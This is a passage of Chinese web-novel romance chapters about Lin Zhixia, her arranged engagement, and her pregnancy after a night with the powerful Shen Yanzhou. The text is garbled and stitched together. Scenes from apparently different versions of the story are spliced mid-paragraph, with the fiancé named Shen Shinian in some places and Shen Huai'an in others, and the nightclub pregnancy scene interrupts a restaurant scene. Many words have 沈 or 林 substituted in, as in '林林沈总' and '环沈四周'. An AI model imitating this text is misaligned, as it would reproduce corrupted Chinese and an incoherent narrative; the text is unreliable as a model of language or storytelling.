见到林知夏来了,沈老爷子愣了下,点点头说:“知夏来找矜枝的吧。” 她将早已定制好的鱼竿递给旁边的柳叔,然后笑回:“对,她打电话让我来量伴娘服的尺寸,这不是想您和奶奶了吗,就先来看看你们。” 他笑着侧过身:“正好,知夏啊,你等会可以跟砚舟一起过去。” …砚舟? 她猝然一顿,笑容僵住。 沈砚舟在这?? 林知夏大脑运转停滞了一瞬,越过沈老爷子的身影向里看去,看见了几天前和她一起滚了床单的男人正沉心静气地坐在耳室里。 他靠着椅背,慵懒地将右腿搭在左腿上,手支着在扶手上,脑袋微侧,闭目小憩。 就在她狗狗祟祟瞥过去的那一刻,他倏然睁眼,目光意味深长地撞上了她的视线。 林知夏很难描述她和沈砚舟对视时的心情,如果非要形容,那就是她的心跟李逵的鸡肉冻干没区别了,都在一瞬间死得透透的。 男人眉目深邃,明明面色不显,却总有种知道她会来正院所以特意在这堵她的感觉。 他垂眼点了点烟,没说话。 看来林知夏经过那晚荒唐之后决定假装无事发生,没跟家里闹,要继续跟沈时年的婚约。 沈砚舟无言站起身,拢了拢衣领,不疾不徐地往外走。 总助办的人大多也没下班,见他出来了都默契起身,齐齐打了声招呼,一想到要下班了脸上就忍不住洋溢起笑容。 沈砚舟疏离地点了点下颌,季明宇在他身后悄悄挥手,示意助理们快收拾东西。 他在北城的座驾很低调,车库里主要都是林肯、迈巴赫和保时捷这种。 少年时期也招摇过,只是当时买的跑车现在基本上都在车库里吃灰了。 但沈砚舟的车内饰都很贵。 之前坐帕萨特的时候,前车遇上点情况不愿意撞上更前面的豪车,选择急刹撞了沈砚舟的车。 结果直接把他定制的车载夏响给撞坏了,保险过来一算,把前车司机都算傻眼了。 不过自那以后,沈砚舟也不怎么坐帕萨特了。 迈巴赫已经候在了景译大楼的门口,沈砚舟在季明宇殷切的目光下坐上了车,半晌,他摇下车窗,淡声说:“明天给你放半天假。” 季明宇一整个不敢置信。【@矜枝姐:这是谁家小天鹅(我死了.jpg)】 北城国贸中心停车场,沈矜枝正坐在沈砚舟的车里笑看群聊。 她刚结束完一个品牌活动,听到他说有新婚礼物要给她,就直接让他在负一楼等她了。 沈矜枝放下手机,接过礼盒随口调侃:“哟,沈总送的什么好东西啊?” 沈砚舟闻言没分给她半个眼神,继续看文件,“不值钱的东西。” 她眉眼舒展,没搭理他这话,自沈自地拆礼盒,拆到最后抽出来一沓产权证明书。 “这是,”沈矜持迅速辨认着上边的英文,有些讶然地说,“巴哈马的私人岛屿?” 沈砚舟像是觉得她有点吵,瞥她一眼:“嗯。” “怎么想着送我这个?秦晏舟有的是钱。” “他是他,你是你。”他往后靠了靠,语调不咸不淡,“前段时间我让人在这个岛上修了个小型飞机场,你之前总抱怨到处都有人拍你,现在有个清净的地方随你去了。” 沈矜枝心起波澜,语气极其诚恳:“快三十年了,我第一次觉得你长得还算好看。” 沈砚舟:“?” 半晌,心满意足的大美人拨弄了两下头发,跟他说:“送我回蕴枝公馆吧。” 结果沈砚舟又是一个“?” 他神色淡淡:“我为什么要送你?下去,自己等秦晏舟来接。” 沈矜枝:“??” 她见沈砚舟是真的想让她下车,咬牙说:“走就走,这副死德性活该你单身这么多年没老婆,看看人家沈时年,运气多好。我原本还想给你看看我们知夏穿伴娘服的照片,让你欣赏欣赏沈家未来侄媳妇的美貌,但你现在已经被我踢出弟籍了,你没机…” 沈砚舟在听见某两个字时忽然抬起眼睑,懒懒出声打断她:“行了,我送你回去。” 沈矜枝一怔,打量了一番他的神色,才犹疑地将伸出去的半只脚收了回来:“这还差不多。” 沈砚舟顺着她的手机屏幕看去,眼神微动。 画面中的少女穿着一件浅绿色吊带裙,目光慵懒地看向镜子里的手机。裙胸处镶嵌了几条细长的钻石饰链,将她衬得极其灵动。 他目光缓缓向下,落在了林知夏细瘦的脚踝处。 天哪,自家总裁终于注意到自己已经勤勤恳恳加班好多好多天了。 他深吸一口气:“林林沈总。” 沈砚舟不再多说,吩咐司机直接开去君樾文昌。 点开和卞清聆的聊天框,那边终于有空嘲笑林知夏在沈家量尺寸的事情了。 她看着那边长达好几天的反射弧,没忍住说了句:“怎么感觉你这几天比之前还忙?” 卞清聆看到消息的时候正拿着车钥匙下楼,她边跟同事聊项目边打字:“哎呦别提了,项目快收尾了,这几天每天都要跑万庄,累得饭都吃不下了。” 林知夏登时坐起,十分警觉地回:“等会,那你岂不是瘦了好多斤?” 卞清聆:“…这是重点吗?” “当然了,不准丢下我一个人长胖,”林知夏弯弯唇,继续说,“要不然我去找你吧?我要监督你吃饭。” 卞清聆那头电梯停在了负一楼,她抬眼环视停车场,干脆发了条语夏过去:“来吧,后天再来,今明两天还要跟甲方掰扯一下,后天就稍微轻松一点了。” 林知夏随口应下,招呼王嫂出来把后备箱的衣服拿去洗衣房,然后直接回了卧室。 她刚一懒懒躺上沙发,就想到了卞清聆说的吃不下饭。 不行不行,这几天真的吃太多了。 林知夏警铃大作地坐了起来,先打电话跟小厨房嘱咐不用准备自己的饭,然后又翻出了私教老师的微信,约她明天上门做普拉提。 见那边有空,她才放下心来去洗漱。 第 33 章 第三十三章 宋韵倏然被自家女儿的形容给闪了一下,半天没说出话来。 她一把拍开林知夏偷肉丸的手,嗔怪:“怎么说话呢,时年长得像你春黎阿姨,哪儿难看了?” 林知夏又探出手扒拉了一颗丸子:“怪他没继承到精髓。” 全是主观感情,没有客观评价。 “你爷爷奶奶还在郊外钓鱼,”宋韵睨她一眼,让王嫂来把东西端到侧院的小餐厅去,“你爸也回不来,今天只有我们两个在家吃。” 林知夏又问了嘴:“爸去哪儿了?” 宋韵在柠檬水里洗了洗手,边擦水渍边说:“跟时年爸爸谈生意去了。” 林沈两家联姻后,利益交集会越来越深,自此难以分割。 在选择钱还是选择爱的题目里,这个圈子里没几个人会笨到先选择爱。 这也是为什么大多数联姻夫妻到最后明明两看相厌了还不离婚。 半晌,她撇撇嘴:“…噢。” 到饭点的时候,小餐厅的凉风已经吹了好一会儿了。 林知夏一进去就眉目舒展,整个人都惬意了下来。 今晚备的菜都是她爱吃的,都是下午从自家郊外农庄里送来的,非常新鲜,她没忍住多吃了一碟肉。 两人慢悠悠吃完晚饭,林知夏先是回房把骑马服给找了出来,又对着镜子比了半天,在确定能穿下后才缓缓落下了脆弱的小心脏。 她闲着没事,先是给卞清聆发了串消息汇报今天的种种,然后趴在书桌前开始画新的游戏同人草图。 两小时后,林知夏粗略勾勒出了草图线条,然后敬业地截屏发微博:“嘻嘻,今天是校园风的两个宝~(吃饭)(狗头)。” 她刚发出去,评论区眨眨眼就多出了几十条评论。虽然里头还夹杂着那么几条挑刺的,但很快就被粉丝大军的彩虹屁给淹过去了。 【@浅沫凝安:呜呜校园风也好适合两个宝!坐等老师喂饭~】 【@ZaSyBsY:这时候就有人要问了,樱大啊樱大,你怎么这么会画呀?】 【@只喜欢逆位:好烦啊傻逼推送,怎么又给我推对家的饭,恶心死了。】 又是磨磨蹭蹭了近两天,林知夏严苛地规划了进食量。 但奇怪的是,往常她少吃是感受不到饿的。可能是前段时间放纵了点,这几天少吃竟然半夜会肚子咕咕叫。 不过她没怎么在意,只决定再少吃点重新养成习惯,然后提着宋韵做的小甜点去万庄探班了。 今天是她自己开车,开的是闻彧去年送她的毕业礼物,一辆尾翼镌刻着几朵樱花的帕拉梅拉。 林知夏前段时间把这车送去换了套内饰,现在新鲜感作祟,怎么看怎么漂亮,开得她心情还不错,去万庄公园的一路上都哼着歌。 进出项目区需要通过职工身份审核,所以她停在了场区附近等卞清聆来接人。 刚闲下来打开WeWe准备看看评论,手机就连着响了好几声。 林知夏划回微信一看,发现是沈矜枝将伴娘团的人拉进了一个沟通群,这会儿在问大家礼服上身效果怎么样。 虽然衣服出自国内最知名的礼服工坊,但总归是加班加点赶出来的,她担心难免有些没沈及到的细节问题。 林知夏慢悠悠旋开瓶盖喝水,有些意外。 自己前脚刚离开缇山北巷,伴娘服后脚就送到家了。 没多久,群里就陆续发来了几张对镜自拍图。 绿色系的裙子既衬肤色又显气质,大家都是很注重身材管理和皮肤保养的人,穿上这衣服简直各有各的美。 沈矜枝看了特别满意,连连夸自己眼光好,说自己挑的款型都特别适合各位姐妹。 她挨个点评着,忽然咦了声,在群里问:【知夏和阿厘呢?你们的怎么样?】 林知夏见自己被点名了,先是很给面子地发了个眼冒爱心的表情包,然后解释说自己还没试上,等回家再发图。 过了会儿,晚厘也出声回:【我还在江城,后天才回北城。】 沈矜枝有些诧异地问:【你不是杀青了吗,怎么还留在那儿?】 结果晚厘直接丢来了一张寺庙图,语气神秘:【我总感觉最近被什么东西缠上了,来看一看。】 这种鬼神之说向来吸引人,聊天框里瞬间飘满了诚恳的“细说”。 林知夏倒是没有多好奇这个“东西”是什么,只觉得这个地方有些眼熟,好像在哪儿见过一样。 她努力回想了一会儿,点开了闻彧的朋友圈,发现这寺庙还真就是他昨天发的风景照里的那个寺庙。 林知夏眨了眨眼,唇角微勾。 上次晚厘在M城出席晚宴,他也去了M城出差。 这次晚厘在江城拍戏上香,他又在同一个地方。 这么巧? 她忽然觉得这事好像比鬼神之说还有意思,更值得人去研究研究。—【@厌择在睡觉:不爱吃干嘛点进来,怎么还贴脸打厨子啊(举刀)?】 林知夏抿抿唇,选择性忽略掉了那些不好的评论,回复夸她会画的那条:骄傲比耶.jpg。 她又翻了会评论,然后点回了信息界面,正要划出微博时突然发现自己有一条商业邀约私信。点开一看,竟然是江城文旅局发来的合作邀约。 大致信息是,希望林知夏能和《三千年时光》的作者一起带动江城新区的旅游经济。 《三千年时光》是一个主角生活在江城的都市幻想系列文,这个IP的热度在全国非常高,高到甚至能带动江城的旅游增长。 就在不久前,江城底下有个县城并上来成为了江城的新区。该地知名度比较小,旅游业不够发达,文旅局希望让它也跟上《三千年时光》的热度,发掘一下旅游业潜能。 至于为什么会来邀约林知夏,那更简单了。 因为她以前是《三千年时光》的同人画手,产粮数量多质量高,能被该IP读者列为前三知名的那种。 只是后来随着这系列文越来越火,挑刺的也越来越多了,她也就跟着慢慢放下了这本IP,转去了其他地方。 林知夏震惊了好一会儿才反应过来,她一时间不知道要不要接下这个邀约。 毕竟之前画了不少它的同人图,一度导致有很多读者吐槽说看腻了,让她有段时间不敢再动笔。 林知夏犹豫了片刻,还是发去了联系方式,但依旧表明需要想几天再给予确切回复。 微信那头卞清聆应该是在加班做设计稿,没有回信息。 她懂事地没打扰,无奈地叹了口气,抱着自己的睡裙进了浴室。 洗澡的时候还一度觉得自己很像是在家里等老公下班回消息的小娇妻。 又是搓搓涂涂两小时,重回精致的林知夏感觉自己如获新生。她蹬着小高跟往里头走,神色倨傲:“总之你别管了,这个事情我来帮你解决。” “行,全听林总的。”卞清聆也不跟她客气,直接靠上了这个靠山,悠悠一叹,“对了,我过段时间就要去江城了。” 林知夏环沈四周,以卞清聆的名义给实习生们叫了奶茶,然后随口一问:“你去出差啊?” 卞清聆:“嗯,那边文旅局有个跟小说ip相关的项目找了我们公司。” 她神情微妙,弯唇一笑:“他们也找了我。” 卞清聆一秒钟不到就反应了过来:“噢,找你画同人图做宣传是吧?” 林知夏语调慵懒:“嗯,但我还没想好去不去。”见她肯定点头,卞清聆稍微松了口气,安慰她:“还好,还好你们做了安全措施。哎也不一定是你想的那样,我感觉经期受性.生活影响偶尔提前或延后还挺正常的。你放宽心一点,再留意几天。如果一直没来…” 卞清聆顿了秒,直白地说:“那就去验一下。” 林知夏闻言小心脏稍稍回落了些。 她揉了揉腿肚,有些心不在焉地回:“好。” 卞清聆倒也没有非要跟她黏在一起,只多说了句:“你如果决定好了就跟我说一声,反正我下周的样子就会过去,到时候我去接你。” 林知夏顿了秒,转头问:“江城催这么急?” 卞清聆摇摇头:“没,江城有个中医很厉害,我都约了小半年了才约上,这次正好过去把把脉调理一下月经。” 说完她又羡慕嫉妒恨地看了眼林知夏,“你比我规律多了,每月都是那个点儿来,从不提前不推后的。” “都说了让你少喝冰饮…”林知夏说着说着突然停在原地,唇角微僵,眼里闪过一丝茫然,“…等会,听听,今天几号啊?” 她散了散发梢的水汽,细致地把每一根头发丝都涂上精油,然后滚回了床上。 窗外的月光清浅如水,洒入房间。 林知夏留了盏灯,侧躺着酝酿睡意。 她浅浅阖眼,正要睡着时脑海里倏忽闪过两幕回忆。 一个是那晚迷情之时,林知夏依稀记得沈砚舟的手腕上有个咬痕,问他那是哪儿来的,他却像是隐隐有些诧异,然后又掀过了这个话题。 第二个就是刚刚吃晚饭前,她问起七岁之后为什么会疏离沈砚舟,她妈给了个极其敷衍的回答。 这两幕画面看似毫无关联但又有些相似。 林知夏总觉得他们态度有些不对,但又不知道为什么。 好一会儿,她被睡意冲昏了头脑,不再有精力回想这个事情,沉沉睡了过去。 第 34 章 第三十四章 林知夏见人没说话,又有些局促的开口,“抱歉沈总,我真不知道这件衬衫这么贵,我回去手洗了一下,不知道有没有弄坏,要是坏了,我……我……” 林知夏支吾了半天,也没说出那句我来赔,因为她根本赔不起。 “好。回头我看看。”沈砚舟接过她的话,“有问题我联系你。” 林知夏,“……” 她眉头跳了跳,硬着头皮憋出一句,“好。” 沈砚舟勾了一下唇角,“辛苦你洗衣服,晚上请你吃个饭吧。” 林知夏微微睁大眼睛,慌乱摆手,“不不不——” “我一会儿有个会,很快,你稍微等我一下,结束了我们就走。” 男人习惯了发号施令,一锤定音,压根没给人拒绝的机会。 “真不用,沈总,我不饿,我……” 话说到一半,看见沈砚舟抬手拿起那件装着衣服的纸袋,林知夏一个紧急刹车,话音一拐,“那谢谢沈总。” 沈砚舟把纸袋放到一边,淡笑,“不客气。” 男人出去开会的时候,林知夏就在休息室等着,高成送来了许多小零食和甜品,甚至还有游戏机,让林知夏打发时间用。 只是林知夏都没有什么兴趣,窝在沙发看了一集没营养的泡沫剧,刚巧播到片尾曲,沈砚舟就推门走进来了。 听见声音,林知夏慌慌忙站起来,手机没拿稳摔到地上。 她还没捡起来,男人先一步动作,在她面前弯下腰,捡起手机递给她。 林知夏迟了一秒接过来,“沈总,您忙完了。” 沈砚舟一挑眉,淡声开口,“一直想问你,是想来沈氏上班吗?” 林知夏瞪圆眼睛,“没有啊,我怎么可能这么想!” 来沈氏?她也配? 沈砚舟勾了一下唇角,“不想做沈氏的员工,那你怎么一口一个沈总的。” 林知夏咬了一下唇,斟酌了一下,“沈先生?” 沈砚舟没说好也没说不好,抬手拿起沙发上的外套,“走吧,司机在楼下等着。” 林知夏“哦”了一声,乖乖的跟了上去。 今天沈砚舟换了一辆黑色的迈巴赫,看起来比上次的低调许多。林知夏本来还觉得和沈砚舟共同坐在后座会有些尴尬,结果男人一上车便拿着笔记本在处理工作,林知夏反而心底悄悄松口气。 这两天林知夏在忙房子的事,觉都没怎么睡好,此刻上了车,没忍住的打了两个哈欠,头微微靠在了车窗侧。 几分钟后,沈砚舟动作停下,关掉了几个无用的邮件,他目光往旁边瞥了一眼,停顿几秒,让司机把冷气调低了几度。 林知夏微微皱起的眉头松泛了一些。 车子开的平稳,不过十几分钟就到了,林知夏本来也没睡熟,察觉到车子停下后飞快睁开眼睛,下意识的先往旁边看了一眼,见男人居然不知道什么时候收起了电脑,正在垂眸淡淡盯着她。 林知夏动作一僵,抬手摸了一下嘴角。 没流口水吧。 少女的动作惹的沈砚舟忍不住笑了一声,“到了,下车吧。” 男人闷闷的低笑声听在耳侧,像是一支羽毛勾过心尖。 林知夏瞬间觉得耳朵有点发烫。 跟着男人下了车才发现来的是最近很火的QSK餐厅,因为临林又是空中餐厅而闻名,即便菜价昂贵,平时也是一位难求。 可今天跟着男人乘电梯到了顶层餐厅,竟发觉餐厅内竟然空荡荡的。 两侧的侍应生排队鞠躬问好。 店长一早就接到通知说晚上沈总会来,餐厅全体上下待命,后厨也是在沈总踏进电梯的一刻便接到通知开始准备。钢琴师下午把晚上要弹奏的曲子练了数十遍,生怕出现一点纰漏。 耳侧听着一声声“沈总好”,林知夏好奇的打量起餐厅内的环境。她没来过,倒是在软件上刷到过很多次,不过也不如亲眼所见,餐厅内部处处装潢复古华丽,每一处布置都极尽奢华。 她心里嘀咕,怪不得这么贵呢,倒是有几分道理。 正巧这个时候林洁发了微信问她在哪儿,林知夏没多想,打开相机拍了张照片打算发给林洁,没想到手机音量开的有点大,清脆的“咔嚓”一声格外明显,引得所有人注目,连沈砚舟都顿下脚步。 救命。接到电话的是高成。 ‘夜色’的包厢内,沈砚舟今晚赴了惠达总裁的约,在他应酬的时候,私人电话也是放在高成那儿的。 门被推开,宽大的包厢内人不少,烟雾缭绕,声音也放的震天响。这些人白日里都是衣冠楚楚,晚上谁不是左拥右抱。 唯有坐在最中央那个男人,身旁干干净净,没人敢贴上来。 高成垂下眼,径直走过去,附在沈砚舟耳侧低语。 “沈总,林小姐的电话,说有事找您。” 沈砚舟面色淡淡,他指尖夹着一根烟,微微抖了一下,烟灰簌簌而落。 等了数十妙没有回复,高成了然的点了一下头,正准备去回绝,却忽而听沈砚舟冷淡的声音。 “她想见我,可以,让她到这儿来。” 高成一顿,下意识看了一眼包厢内几个浓妆艳抹,衣着暴露的女子,让林小姐到这儿来…… 不过这些都不是他该考虑的事。 “是,沈总。” 让她到‘夜色’去…… 听到了高成的话,林知夏微微捏紧了手机。 她当然是不太想去那种地方,更何况上次在那里发生了那样的事,她现在对‘夜色’更是避恐不及。 但听高成的语气,似乎如果自己不去,沈砚舟便不会见自己。 林知夏微微呼了一口气,做了一番心里建设后,便打车赶了过去。 这次去与上次截然不同。 穿过群魔乱舞的大厅,林知夏跟着高成走了独立通道,直达顶层。 上次她是不是也是这么被沈砚舟带来的?但她喝多了,毫无记忆。 林知夏心里有些复杂。 就是那一晚,才有了这个宝宝。 “林小姐,到了。” 高成一声提醒,让林知夏略微回过神。 看着面前的大门,林知夏犹豫了一下,“能不能叫沈……先生出来一下,我真的有事和他说,在里面怕是不太方便。” 高成笑了一下。 当然是有事,每天有无数的人找沈总,哪个不是有事?求财的,求权的,却没有谁敢说让沈砚舟来见他,真不知道这个小姑娘是太放肆了还是太无畏了。 不过高成自然不会说这些,他只是淡淡又重复了一遍,“林小姐,您进去就可以了。” 林知夏咬了一下唇,迟疑了几秒钟,最后还是无奈的推门进去。 包厢内灯光有些昏暗,但林知夏还是一眼就看到了沈砚舟。 别无其他,只是在一屋子混乱的男男女女中,沈砚舟实在太突出了些。 男人坐在主位上,身姿显得有些懒散,深蓝色的衬衫领口解开两粒扣子,露出明显的喉结,他指尖夹着烟刚抬起来,旁边便有懂眼色的人点了火凑过去。 一点猩红滚烫,随即烟雾升腾。 隔着沈沈的烟雾,沈砚舟朝这个方向看过来,有些淡漠的眸子落在林知夏身上,随即又轻飘飘的挪开。 这一下子,林知夏有些进退两难。 在她纠结时,很快就被人注意到了。 有人轻佻的吹了个口哨,“这个是谁叫的,长的够劲,能不能跟我换换。” 下流的话落进林知夏耳朵里,惹的她面色有些难看,烟酒味钻入鼻腔,胃部又隐隐躁动起来。 她强压着恶心,想着赶紧过去,跟沈砚舟说明情况,把钱拿到手就走。 可没想到半路上突然被人拦住了。 那人长脚一伸,林知夏没注意,险些被绊倒,她吓了一跳,脸色煞白,惊魂未定的捂住了一下小腹。 是刚刚出言不逊的那个男人,笑嘻嘻的,“找谁去啊,就坐我这儿吧。” 林知夏身子被气得都有些颤抖,她死死攥着拳,半晌,冷笑一声,“行啊,那你问问沈总答不答应。” 沈总?! 那人脸色猛的一变,随即讽刺一笑,“你胆子真大,还敢往沈总身上贴。” 谁不知道沈砚舟出来玩一向不碰这些风月场所的人。 林知夏抿着唇,抬头朝沈砚舟的方向看过去。 那人还在讥讽,“真不知天高地厚,你——” 话音戛然而止。 满屋子的人,眼睁睁看着沈砚舟微微抬了一下手,冲那个略显无助的少女招了一下,声音淡淡,“过来。” 林知夏赶紧快步走了过去。 这句话像是金科玉律,没人敢再为难林知夏,至于刚刚那个人,更是像被掐住了脖子,半个字都说不出来,脸色惨白的要命。 直到坐在了沈砚舟身边,林知夏才微微松了口气。 借着头顶的灯光,她小心的抬眼去看男人。 沈砚舟面色冷淡,沈唇微抿,一双眸子黑沉沉的,像是透着冷意。 林知夏心中一紧。 这样的沈砚舟好像才和传闻中那个冷漠的沈总对上号,与之前温柔待她的样子相差甚大。 林知夏说不上此刻是什么心情。 她当然能察觉到今天沈砚舟有意为难她。 也许是因为上次在餐厅她拒绝了沈砚舟的事,毕竟是高高在上的沈家家主,估计是第一次这样被人下面子,心里有气也是正常。 林知夏顿了顿,往沈砚舟身边凑了一下,鼓起勇气开口,“沈先生,我有很要紧的事,我们能出去说吗?” 沈砚舟垂眼看了一下林知夏。 他自认对面前这个小姑娘已经足够绅士,既没有强制把人绑在身边,也没有睚眦必报,就按照她所说的,高抬贵手,两不相欠。 可偏偏,她又自己找上门来。 停顿一瞬,沈砚舟把面前的一杯酒递到了林知夏面前。 他还记得那晚林知夏喝醉了的样子。 很可口。 看着面前玻璃杯中琥珀色的液体,林知夏脸色有些难看,“沈先生,我喝不了酒。” 沈砚舟笑了一声,可眸中却毫无笑意。 “林知夏,是你自己找过来的。” 听到这句话,林知夏唇瓣抖了一下。 男人话语中的意思再明显不过。 是林知夏自己送上门的,她没有拒绝的权利。 一瞬间,万般情绪涌了上来。 这一天之内,她经历了这么多,被骗回林家时的愤怒,发现怀孕时的惶恐不安,还有现在,她以为的最后一根救命稻草,正在肆意的羞辱她。 算了。 林知夏在心里对自己说。 孩子她自己养就是了,苦一点就苦一点,没什么的。 林知夏咬了一下唇,力气用的有点大,像是在竭力压抑着情绪,唇瓣被咬的没有血色,她呼吸有点急促,攥着裙摆的手都颤抖了一下。 被睫毛挡住的眼睛有点泛红。 僵持了足足一分钟,林知夏站了起来,“打扰了沈先生,我先走了。” 这一瞬间,旁边的沈砚舟似乎怔了一下,表情有些不自然,他眼疾手快的拽住了林知夏的手腕,语气有些生硬,“你什么意思?想来就来,想走就走?” “我不想喝酒,我走还不行吗?” 林知夏转头瞪着沈砚舟。她想把手抽出来,但男人力气很大,林知夏挣扎了几下都没甩开。 心中的委屈无限倍的放大。 “沈砚舟你放开我!” 少女声音并不够压盖包厢内的燥乐,但却让所有人不约而同的停下动作看过来。 林知夏抬起眸子的时候,沈砚舟捕捉到了她眼尾的红意。 男人喉结上下滚了一下,一种从未有过的情绪在心中蔓延,像是懊悔而又烦躁。 “林知夏。” 沈砚舟声音放缓。 “听你的,我们出去说。” 包厢隔壁是一间休息室,林知夏坐在椅子上,面前是一杯温开水,隔着杯子握上去还带着一股暖意。 沈砚舟就在她对面,对着那几张报告单已经足足看了五分钟。 林知夏心绪已经平稳了许多,她端起杯子喝了一口水,温热的液体稍微抚平了不舒服的胃部。 此时正听见男人沙哑的声音,“你怀孕了?” 白纸黑字,妊娠字样写的很明显。 林知夏点点头,飞快补充了一句,“是你的,我只和你……” 话语顿了一下。 沈砚舟皱了一下眉,“我没有那么想。” 他轻轻舒了一口气,像是要把心中所有的情绪都吐出去。 这种反应在沈砚舟身上很少见。 他一向是个冷静自持的性格,习惯了喜怒不形于色,再大的心理波动都不会表露于面上。 但这一次显然有些难以克制。 沈砚舟脑海中回想了一下那夜的事。 林知夏喝醉了,他又没醉,前几次都是戴了的,只是后来抱着林知夏去洗澡,少女滑嫩的肌肤手感实在太好,他没克制住,在浴室又折腾了她一番,虽然事后清理过,但显然还是有所疏忽。 看着沈砚舟皱紧的眉头,林知夏心里蓦地有些不舒服。 “你放心,我不会纠缠你,也没想过要借这个孩子做什么。”林知夏说,“如果你对这件事存疑,我可以配合再去做一次检查。” 沈砚舟抬眸看着林知夏,黑沉沉的眸色里有情绪涌动。 “那你来找我是……?” 林知夏垂了一下睫毛,声音低了许多,“我现在手里没什么钱,你上次……你上次不是要给我支票吗,那个还作数吗?” 沈砚舟没说话,手指在桌子上一下一下的点着。 林知夏有点受不了这沉默,“不然算我借你的,等我有钱了还你行不行?” 早知道男人是这个态度……林知夏有点后悔过来了。 却不想忽而听到沈砚舟的问话,“要了钱,然后呢?你要自己把孩子养大?” 林知夏愣了两秒,下意识的伸手捂住小腹。 “你想让我打掉孩子?” 见着少女的神色一点点变得愤怒,沈砚舟有些无奈的扯了一下嘴角。 “我怎么可能这么想。” 男人站起身,一步步走到林知夏面前,而后微微弯下腰,像是想要伸手也碰一下林知夏的小腹,可手在半空中顿了一下,转而落到了少女头上,轻轻揉了一下林知夏的头发。 “林知夏,我们结婚吧。” 林知夏握紧手机,尴尬的脸都红了。 旁边的店长飞快回过神,上前一步,“店内有专业摄影师,需要为您服务吗?” 林知夏恨不得把头摇的像拨浪鼓,下意识求救似的把目光看向沈砚舟。 男人弯了一下唇角,侧头淡声吩咐,“晚餐直接送到包间。” 店长立刻应声,“好的沈总。” 不再被注视,林知夏脸上的滚烫才消减了一些,赶紧几步跟上男人。 走到最里面的包间,关上门,林知夏微微松了口气。 沈砚舟一直盯着她,见状不留痕迹的皱了一下眉头,“是不喜欢这里吗?我们可以换一家。” “当然不是。”林知夏伸手指了一下旁边的落地窗,站在这里可以看见灯光繁复的林景,“很漂亮。” 顿了顿,她补充了一句,“但是今天怎么都没人啊,平时这里不是很火吗?” 沈砚舟十分自然的开口,“我不喜欢人多,清场了。” 林知夏不太理解,不是在包间吃吗?跟外面人多不多有什么关系。 沈砚舟看了她一眼,“你喜欢热闹一点?” “也不是。”林知夏小声说,“只是刚刚被那么多人盯着,有点尴尬。” 这点是沈砚舟体会不到的。 因为他从小就习惯了很多人的注目,从沈家的太子爷到沈家家主,他无论走到那里,都有无数视线在紧紧盯着他。 但如果是林知夏不喜欢的…… 沈砚舟点了一下头,“好,我下次会注意这点。” 林知夏听了这句话,心中的不舒服感更加强烈了。 她也不是傻子,沈砚舟这几次三番的,她也大概能猜到。 林知夏鼓起勇气开口,“沈……沈先生,你有什么话可以直说。” 沈砚舟挑了一下眉,“嗯?” “我知道您的意思,但是我……” 沈砚舟打断她的话,“我什么意思?” 林知夏一愣,话到嘴边下意识就说了出来,“想和我睡觉。” 沈砚舟笑了一声。 林知夏话说出口才觉得不对,被男人笑了一声,脸瞬间就红了,她咬了一下唇,干脆破罐破摔。 “不是吗?不然您变着法的想见我,又请我吃饭干嘛?” 沈砚舟忍住笑意,“好,就算我有这个意思,那你是怎么想的?” 林知夏干脆的说,“我不想。” “我只是刚刚毕业的一个学生,和您不管是地位还是年纪都相差甚大,况且,我也没有什么一步登天的想法。” 男人脸上的笑意一点点褪去,他身子往后靠了靠,姿态看起来略微懒散,但眸中的锐利却毫不减退。 一般人见到沈砚舟这幅样子,便会紧张的住了嘴。 但林知夏显然没这个眼力价。 她还在喋喋不休的说着。 “那晚就是一个误会,大家都是成年人,谁不犯点小错,翻篇了就好。” 林知夏抬起眼睛,瞳仁乌黑,清泠泠的,慑人的漂亮。 “想来沈先生身边莺燕环绕,也不缺我一个,我就不凑这个热闹了。您也高抬贵手,别再搭理我这无名小卒了。” 第 35 章 第三十五章 只不过这几日京北的天气一直不怎么好。 林知夏刚兜风完回家,雨水便自天空砸下,织成细密的雨幕,落到地面上。 一直到深夜,这雨都还在“淅淅沥沥”地持续着。 林知夏翻来覆去睡不着,索性起身,光着脚走到画室。 调颜料、落笔作画。 一时间画室中浮动着颜料与松节油的味道。 画瘾上头时,林知夏完全控制不了自己。见沈淮安和林知夏过来,前方簇拥着的宾客们纷纷让出一条路,视线在沈三爷、林知夏、沈淮安这三人之间徘徊。 越往前走,林知夏头皮发麻。 她鼓起勇气抬头朝对方看去,正与沈砚舟温淡的视线撞上。 四目相对,他的表情沉静,镜片下的黑眸如古井般幽沉,带着无形的压迫感,令林知夏下意识屏住呼吸,身体微微紧绷。 沈淮安将林知夏拉到沈砚舟面前,开口:“三叔,这位是我的未婚妻,林知夏。” 沉默在空气中无声地发酵,似是欲盖弥彰地想要掩饰什么。 沈砚舟半垂着眸,视线不动声色地锁在面前女孩的身上,目光中带着恰到好处的分寸感。 女孩低垂着脑袋,露出的脖颈纤白修长,弧度优美。一缕调皮的碎发垂下,落在少女精致的锁骨处,衬得那片的肌肤像是白奶油一样细腻洁白。 沈砚舟眸光微动:“你好。” 他的语调是一如既往地低醇温静,不疾不徐,听得林知夏微微恍惚。 她深吸一口气。 不要紧张,不要多想。 甭管她之前和沈砚舟有没有瓜葛,至少现在,她要把沈砚舟当作最尊敬的长辈对待。 “三叔好。” 林知夏扯起微笑,眼睑下的卧蚕泛起清甜笑弧,笑容乖巧恭敬。 沈砚舟挑了挑眉,看向她的眸光越发幽邃。 他生来眼窝深邃,眸色是纯粹的黑,看人时即使是隔了一层镜片,依然紧迫逼人。 顶着这道压迫感极强的视线,林知夏不自觉地绷紧神经。 她微微错开眼,细白的手指不安地攥着裙角。 “你是淮安的未婚妻,叫我叔叔是应该的。”沈砚舟的嗓音温沉,一字一顿道。 他停了停,语气淡淡,却带着几分不明的意味:“不过你与淮安尚未结婚,这时叫叔叔为时尚早。称呼我为沈先生倒是更妥当些。” 这话一出,顿时周围人面面相觑。 看沈三爷这态度,这是不怎么接纳侄子的这位未婚妻? 不然,又怎会连声叔叔都不让对方喊? 但只有林知夏听出这话的真正深意,一时间,神情恍惚。 仿佛又回到了那一夜,她低声啜泣地喊着“沈先生”这三个字,而男人温柔有力地给了她致命一击。 林知夏脸上火辣辣的,心中乱得厉害,只能寄希望于沈淮安赶快带她离开这里。 但好在接下来沈砚舟的关注点没有继续落在她身上,而是和沈淮安聊起商业上的事情。 林知夏垂着脑袋站在沈淮安身侧,绷着后背,不去看沈砚舟,就像是悄咪咪降低自己存在感的小动物。 沈砚舟视线不动声色地擦过她娇俏的小脸,很快便悄无声息地移开了。 林知夏第一次感受到时间是如此地漫长、令人压抑。 直到沈淮安要带她离开,林知夏才重重地舒了一口气,看向沈淮安的目光瞬间充满了感激,忙不迭跟着沈淮安离开。 